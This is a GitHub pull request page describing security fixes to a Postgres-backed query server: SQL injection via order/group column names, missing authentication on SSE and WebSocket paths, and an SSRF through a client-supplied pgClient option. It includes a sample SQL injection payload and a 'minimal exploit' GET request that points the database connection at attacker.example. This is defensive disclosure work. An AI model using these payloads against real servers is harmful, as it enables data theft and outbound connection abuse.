Skip to content

minor security fixes#184

Merged
aravindet merged 8 commits intonextfrom
nisheet-security-fixes
Feb 24, 2026
Merged

minor security fixes#184
aravindet merged 8 commits intonextfrom
nisheet-security-fixes

Conversation

@Ashniu123
Copy link
Copy Markdown
Contributor

@Ashniu123 Ashniu123 commented Feb 23, 2026

  • SQL injection — $order/$group column names in pg queries were passed directly to raw() SQL without any schema check, allowing arbitrary column expressions to be injected. Column prefixes are now validated against options.schema.types before lookup() is called, throwing pg.no_column for unrecognized names.

This fixes queries like-

{ "$first": 10, "$order": ["id\"+(SELECT current_user)--"] }
  • Auth bypass on GET/SSE — The auth callback was only invoked for POST requests. GET requests that establish SSE watch subscriptions bypassed auth entirely. The auth check is now applied at the start of the SSE path, consistent with the POST path.
  • No auth in WebSocket server — The WS server had no auth mechanism at all. It now accepts an optional auth callback in its second argument (matching the HTTP server's interface) and applies it to all read/write/watch operations.

TODO:

  • SSRF via pgClient option — Client-supplied options were passed unmodified to store.call(), which eventually reaches new Pool(options) in the pg layer. An attacker could supply a pgClient config that redirects database connections to an arbitrary host. pgClient is now stripped from user-supplied options in both HTTP and WebSocket servers before they reach the store.
SSRF via user-supplied pgClient option

Background

The vulnerability

HTTP request options are read directly from a URL query parameter and WebSocket message options are read from the raw JSON frame — both via JSON.parse — with no filtering before being forwarded to store.call(). This means an external client can supply any key in options, including pgClient.

The attack path in src/pg/index.js:

  function read(query, options, next) {
    const { pgClient } = options;                       // attacker-controlled
    const db = pgClient ? new Db(pgClient) : defaultDb; // branches on it
    ...
  }

And in src/pg/Db.js:

  constructor(connection) {
    if (connection instanceof Pool || connection instanceof Client) {
      this.client = connection;     // real Pool/Client: used directly
    } else {
      this.client = new Pool(connection); // plain object: new Pool(attacker config)
    }
  }

Since the attacker's value is a plain JSON object (not a real Pool or Client instance), the instanceof check falls through to new Pool(connection). The pg module's Pool constructor accepts any object with host, port, database, user, password, etc. identical to what an attacker can send as JSON.

A minimal exploit in a GET request:

GET /api?q=...&opts=%7B%22pgClient%22%3A%7B%22host%22%3A%22attacker.example%22%2C%22port%22%3A5432%2C%22database%22%3A%22postgres%22%7D%7D

This causes the server to open a new TCP connection to attacker.example:5432 for every query triggered by that request.

@aravindet aravindet merged commit ee9421a into next Feb 24, 2026
3 checks passed
@aravindet aravindet deleted the nisheet-security-fixes branch February 24, 2026 07:12
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants